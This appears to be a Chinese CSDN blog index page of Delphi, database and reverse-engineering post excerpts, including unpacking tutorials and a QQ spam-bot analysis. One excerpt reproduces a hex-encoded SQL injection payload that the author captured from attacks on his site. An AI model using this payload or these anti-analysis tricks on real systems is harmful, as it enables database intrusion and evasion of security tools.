禾苗雨的专栏

一杯清茶煮青春

2008年09月24日

原创 ExecExeAndBringToTop


const
  cnDeng = '控制V1.0';
  cnExeName = 'DengFengControl.exe';
function ExecExeAndBringToTop(const AFileName: string): Boolean;
var
  hWndDeng: THandle;
begin
  Result := False;
  hWndDeng := FindWindow(nil, cnDeng);
  if hWndDeng 0 then
  begin
    Result := BringWindowToTop(hWndDeng);
  end
  else
  begin
    WinExec(PChar(AFileName), SW_NORMAL);
&nb阅读全文>

发表于 @ 2008年09月24日 15:16:00|评论(loading...)|举报|收藏

2008年08月29日

转载 中国的iPhone girl---小错误出大名^_^WATER


简介
一个不经意的错误,使得这位中国“苹果女孩”风靡全球。iphone或许找到了新卖点?

谁也不曾想到,一位来自iphone中国工厂的员工不经意间的几张照片会在互联网上卷起风暴。

阅读全文>

发表于 @ 2008年08月29日 19:08:00|评论(loading...)|举报|收藏

2008年07月16日

原创 抓到的一个 SQL Injection 包

最近网站一直被骚扰,只有记录一下这些无聊哥们的手段。我也学习学习。 ';DECLARE @S CHAR(4000);SET @S CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S); ==========GET========== 阅读全文>

发表于 @ 2008年07月16日 08:55:00|评论(loading...)|举报|收藏

2008年07月05日

原创 VSS Invalid Handle 问题解决

VSS Invalid Handle 问题解决 在浏览器中打开 VSS 服务器的共享目录 \\ip\folder ,输入用户名和密码登录后,再运行客户端即可。 阅读全文>

发表于 @ 2008年07月05日 08:53:00|评论(loading...)|举报|收藏

2008年07月03日

原创 无法为更新定位行。一些值可能已在最后一次读取后已更改。

无法为更新定位行。一些值可能已在最后一次读取后已更改。 access 没有此问题, MySQL, SQLServer 会有此问题,暂时通过 refresh 数据集来解决。 不知有没有好办法?阅读全文>

发表于 @ 2008年07月03日 09:30:00|评论(loading...)|举报|收藏

原创 OPCAutomation_TLB.pas(1240): Cannot assign to a read-only property 问题解决

opc, OPCAutomation_TLB.pas阅读全文>

发表于 @ 2008年07月03日 09:26:00|评论(loading...)|举报|收藏

2007年10月14日

原创 DOS安装网络驱动指南

DOS安装网络驱动指南 ndis 型的。阅读全文>

发表于 @ 2007年10月14日 15:34:00|评论(loading...)|举报|收藏

原创 BASM 初学者入门中英文对照版chm

BASM 初学者入门中英文对照版chm http://www.cnpack.org/showdetail.php?id=509&lang=zh-cn 阅读全文>

发表于 @ 2007年10月14日 11:07:00|评论(loading...)|举报|收藏

2007年08月27日

原创 做事先做人----可以揣在兜里的一句话

做事先做人. 包含你、我、他。 废话不多说了。 主要用于勉励自我,共享朋友. 阅读全文>

发表于 @ 2007年08月27日 21:56:00|评论(loading...)|举报|收藏

2007年07月03日

原创 Delphi逆向工程 qq群号...

Delphi逆向,ASMPASCAL.入群者,需要提交展现自己的逆向作品或通过群成员测试.Delphi逆向工程 qq群号:42568249入群条件:请写出 Length()的BASM 。非诚勿扰! 阅读全文>

发表于 @ 2007年07月03日 12:57:00|评论(loading...)|举报|收藏

2007年05月18日

原创 从 except ... end 跳回 try ... 的例子

函数流程: try ProcA 阅读全文>

发表于 @ 2007年05月18日 12:54:00|评论(loading...)|举报|收藏

2007年03月24日

原创 MicroTip#4 const Args: array of ... 的应用

应用要求:用一个函数实现对 TListView 添加一行数据。 特点:列的个数不固定。 因此,用开放数组参数 const Args: array of 是个不错的办法。 const Args: array of 的形式有两种: 固定类型和可变类型。阅读全文>

发表于 @ 2007年03月24日 10:10:00|评论(loading...)|举报|收藏

2007年03月15日

原创 测控系统中上位机开发小节

关键字: 工业控制,测量控制,上位机,下位机。 通讯协议,tcpip,rs232,rs485...... 报警状态,控制开关,采集数据,查询显示,统计报表。 报警管理,协议分析,模块整合,开发语言,开发流程。阅读全文>

发表于 @ 2007年03月15日 22:23:00|评论(loading...)|举报|收藏

原创 简易数据库代码生成工具 V1.0 发布

简介: 在项目开发中,有许多类似的窗体需要设计,比如数据字典等操作数据库的窗体。重复的复制、修改类似的代码并不是一件轻松的事情。既耗时间,效率也不高。因此,作者SkyJacker设计了一工具(CodeEngine)来完成本应该人工复制的工作,该工具目前基于ADO数据库连接,可以通过灵活配置来生成代码,程序员只需要进行简单的修改即可。 目前此工具只是个初始版本,实现了自动创建 TLabel, TEdit, TButton, TAdoConnection, TAdoQuery 控件以及生成数据表记录的显示/添加/删除/修改的函数代码等的简单功能。 阅读全文>

发表于 @ 2007年03月15日 21:45:00|评论(loading...)|举报|收藏

原创 CnPackTip#3:认识静态数组 array[m,n] of x

var A: array[0..0] of Char; // 表示一个字符。即 array[0..0] 表示一个此类型的元素 B: array[0..10] of Char; // 下标从0开始的Char数组可以把数组名当作PChar来使用;也可以用字符串直接赋值 C: array[1..10] of Char; // 普通数组 D: array[-1..10] of Byte; // 普通数组阅读全文>

发表于 @ 2007年03月15日 21:44:00|评论(loading...)|举报|收藏

2007年03月01日

转载 《心里话》程序员版

《心里话》程序员版 作者: Passion Http://www.cnpack.org 春晚上看见民工小学生的诗朗诵,颇为感动,顺便改改以写俺们程序员。 阅读全文>

发表于 @ 2007年03月01日 13:48:00|评论(loading...)|举报|收藏

2007年02月15日

原创  QQ聊天灌水机简要分析

1、获取聊天窗口 FindWindow() 2、获取发送消息按钮.'发送(S)' 获取信息框.'RICHEDIT' EnumChildWindows 3、设置消息,并执行发送按键 SendMessage(hMsgWindow, EM_REPLACESEL, Len, Integer(Pchar(Msg))); SendMessage(hButton, WM_LBUTTONDOWN, 0, 0); SendMessage(hButton, WM_LBUTTONUP, 0, 0); 阅读全文>

发表于 @ 2007年02月15日 09:34:00|评论(loading...)|举报|收藏

2007年02月14日

原创 2007年的一个个人计划:翻译>

目前得到的文档“BASM for Beginners”共81页,到Lession 7。 当时作者说“8 and 9 are in progress.”,到现在应该早已写完了吧,不知道如何获得。阅读全文>

发表于 @ 2007年02月14日 08:38:00|评论(loading...)|举报|收藏

2007年02月13日

原创 壳学习二:Aspack 2.12 加壳脱壳

壳学习二:Aspack 2.12 加壳脱壳 1、加壳过程 自动动手编写一个简单的窗体程序. 使用Aspack2.12 加壳(按默认选项),生成已加壳程序NullFormAspack.exe. 阅读全文>

发表于 @ 2007年02月13日 11:30:00|评论(loading...)|举报|收藏

2007年02月08日

转载 Delphi编译错误中文手册

Delphi编译错误中文手册 ******************************* * 编 译 错 误 信 息 * ******************************* ';' not allowed before 'ELSE' ElSE前不允许有“;” 阅读全文>

发表于 @ 2007年02月08日 08:25:00|评论(loading...)|举报|收藏

2007年02月06日

原创 壳学习一:PECompact 2.x 加壳脱壳

自动动手编写一个简单的窗体程序. 使用PECompact2.7加壳,生成已加壳程序NullFormPe.exe. 使用PEID查壳: PECompact 2.x -> Jeremy Collake OllyDbg加载,停在程序入口点: 00401000 > $ B8 20684600 mov eax, 00466820 00401005 . 50 push eax 00401006 . 64:FF35 00000>push dword ptr fs:[0] 0040100D . 64:8925 00000>mov dword ptr fs:[0], esp 00401014 . 33C0 xor eax, eax 00401016 . 8908 mov dword ptr [eax], ecx 阅读全文>

发表于 @ 2007年02月06日 12:55:00|评论(loading...)|举报|收藏

2007年02月03日

原创 关于函数调用中形参的分析

一、形参的3种基本形式 function a(b: Integer): Integer; function a(var b: Integer): Integer; function a(const b: Integer): Integer; b: 函数体内给b赋值后不会传出函数外 var b: 函数体内给b赋值后会传出函数外 const b: 函数体内不可以给b赋值 阅读全文>

发表于 @ 2007年02月03日 08:21:00|评论(loading...)|举报|收藏

原创 如何理解Move参数中的const Source和var Dest

Q: procedure Move(const Source; var Dest; Count: Integer); 问一下这里的参数Source和Dest没有说明数据类型,那具体应该如何使用啊? 阅读全文>

发表于 @ 2007年02月03日 08:18:00|评论(loading...)|举报|收藏

原创 如何获取多核、多cpu系统中指定cpu的序列号

在多cpu、多核中,会随机的获得不同的序列号.这就为我们根据cpu序列号来制作注册机带来了很大的麻烦。 Windows 2000/xp允许设置进程和线程的亲缘性。换句话说,可以控制哪个 CPU 能够运行某些线程。这称为硬亲缘性。Windows提供了设置亲缘性的函数SetProcessAffinityMask 。使用它可控制获取指定cpu的序列号。 阅读全文>

发表于 @ 2007年02月03日 08:15:00|评论(loading...)|举报|收藏

2007年01月19日

原创 一种Invalid Variant Operation错误的解决

如何设置DxDbgrid 列显示时间的格式(一种Invalid Variant Operation错误的解决)。 Written by SkyJacker 在数据库里的格式是2007-01-19 16:40:59 可是在DxDBGRid中就显示了2007-1-19 下午16:40:59 它取得是系统时间的格式。 此时使用DxDBGRid的日期列排序,会提示“Invalid Variant Operation”。 解决: 这是DxDBGrid取数据表DateTime类型时的问题。 将Sql语句改为cast(CurTime as char) 即可。 Invalid Variant Operation类型错误是比较常见的错误.这也是其中的一中典型错误。 阅读全文>

发表于 @ 2007年01月19日 17:59:00|评论(loading...)|举报|收藏

2007年01月18日

原创 AntiKanalV2.90 反-算法检测工具KryptoAnalyzerV2.90

模块源码: procedure AntiKanal; //模块功能:让算法检测工具 krypto Analyzer v2.90 误判本程序使用了md5算法 阅读全文>

发表于 @ 2007年01月18日 11:39:00|评论(loading...)|举报|收藏

2007年01月13日

转载 如何发传真

如何发传真 星期四, 三月 30th, 2006 analysist http://blog.zhao18.com/index.php?s=%E4%BC%A0%E7%9C%9F 今天终于学会如何发传真了,特意把步骤详细记录如下,供需要的朋友参考。阅读全文>

发表于 @ 2007年01月13日 10:59:00|评论(loading...)|举报|收藏

原创 关于csdn blog、 鸡肋gmail、qq消息提示的问题.

关于csdn blog、 鸡肋gmail、qq消息提示的问题. 1、第一次登录csdn的blog时,总会提示认证码错误。 第二次输入就可以登录了。 在添加新文章时,不能选择新分类。虽然已经创建了几个分类。 点击“维护档案”会提示非csdn用户 简历错误。莫名其妙。 2、gmail发信经常不成功,有时候IE会提示错误。 gmail经常连接超时。 gmail的性能与mail.163.com比起来差远了。 gmail整个是个鸡肋。 3、qq消息提示时,如果此时鼠标光标处在任意编辑文本态,并且使用微软拼音输入法, 那么在打开qq消息提示之前,在编辑文本处不能输入中文,切换输入法也不管用。 我的环境: 铁通 XP sp2+ IE7.0 + D6 不知道其他人是否也遇到这种问题。阅读全文>

发表于 @ 2007年01月13日 10:51:00|评论(loading...)|举报|收藏

2007年01月12日

原创 将8个内存字节转为浮点数(Double)

函数功能:将8个内存字节(低位在前,高位在后)转为浮点数 Double; ByteToFloat(const Bytes: TByte8): Double;阅读全文>

发表于 @ 2007年01月12日 13:11:00|评论(loading...)|举报|收藏

2007年01月06日

翻译 Delphi技巧集FAQs索引

Delphi技巧集FAQs索引。 阅读全文>

发表于 @ 2007年01月06日 09:12:00|评论(loading...)|举报|收藏

2007年01月04日

原创 为什么只能用SendMessage发送消息WM_CopyData的分析.

为什么只能用SendMessage发送消息WM_CopyData的分析.阅读全文>

发表于 @ 2007年01月04日 09:49:00|评论(loading...)|举报|收藏

2006年09月10日

原创 客户,客户……程序员,How to telnet to 客户’s Heart?

程序员,How to telnet to 客户’s Heart? User:programmer Password: 阅读全文>

发表于 @ 2006年09月10日 13:57:00|评论(loading...)|举报|收藏

原创 Blog这种交流的方式应该是网上少有的清静之地。

大家写Blog的目的是什么,我想可能有以下几种: 1、情感宣泄 2、记录资料 3、让人关注 4、教书育人 5、追风攀比 6、无聊阅读全文>

发表于 @ 2006年09月10日 13:56:00|评论(loading...)|举报|收藏

原创 当安全成为一种流行…

当安全成为一种流行…阅读全文>

发表于 @ 2006年09月10日 13:54:00|评论(loading...)|举报|收藏

转载 火线和零线上都安装保险丝好吗?

一般来说,零线对地无电压,站在地上的人接触零线,没有电流通过人体,因而不会危及人的安全。阅读全文>

发表于 @ 2006年09月10日 13:53:00|评论(loading...)|举报|收藏

2006年09月02日

原创 两个存储过程:一、使用存储过程动态创建数据表。二、插入新记录。

近发现使用Sql的存储过程,可以大大减少程序的代码量。 以后要考虑多多使用存储过程了。 两个小技巧: 一、使用存储过程动态创建数据表。 二、插入新记录。 阅读全文>

发表于 @ 2006年09月02日 08:19:00|评论(loading...)|举报|收藏

2006年08月31日

原创 ExtActns 中 Consts.SUrlMonDllMissing 问题解决。

安装了D6_upd2_ent.exe后,含有Comobj的单元编译不通过。提示信息 Unit ExtActns was compiled with a different version of Consts.SUrlMonDllMissing 。 在unit ExtActns中有存在Exception.CreateResFmt(@SUrlMonDllMissing, [UrlMonLib]); 解决办法: 在Consts.pas中添加常量:SUrlMonDllMissing= 'Unable to load %s'; 其实UrlMonLib = 'URLMON.DLL';阅读全文>

发表于 @ 2006年08月31日 13:20:00|评论(loading...)|举报|收藏

用户操作
[即时聊天] [发私信] [加为好友]
SkyJacker
订阅我的博客
XML聚合  FeedSky
订阅到鲜果
订阅到Google
订阅到抓虾
SkyJacker的公告
文章分类
收藏
    编程技术
    偶遇偶得
    社科综合
    学点安全
    硬件知识
    友情链接
    Laoa's BLog
    scz
    下一站天后
    中国网站在线
    我行我素spiritchina
    绿茶
    风中的歌
    存档
    软件项目交易
    Csdn Blog version 3.1a
    Copyright © SkyJacker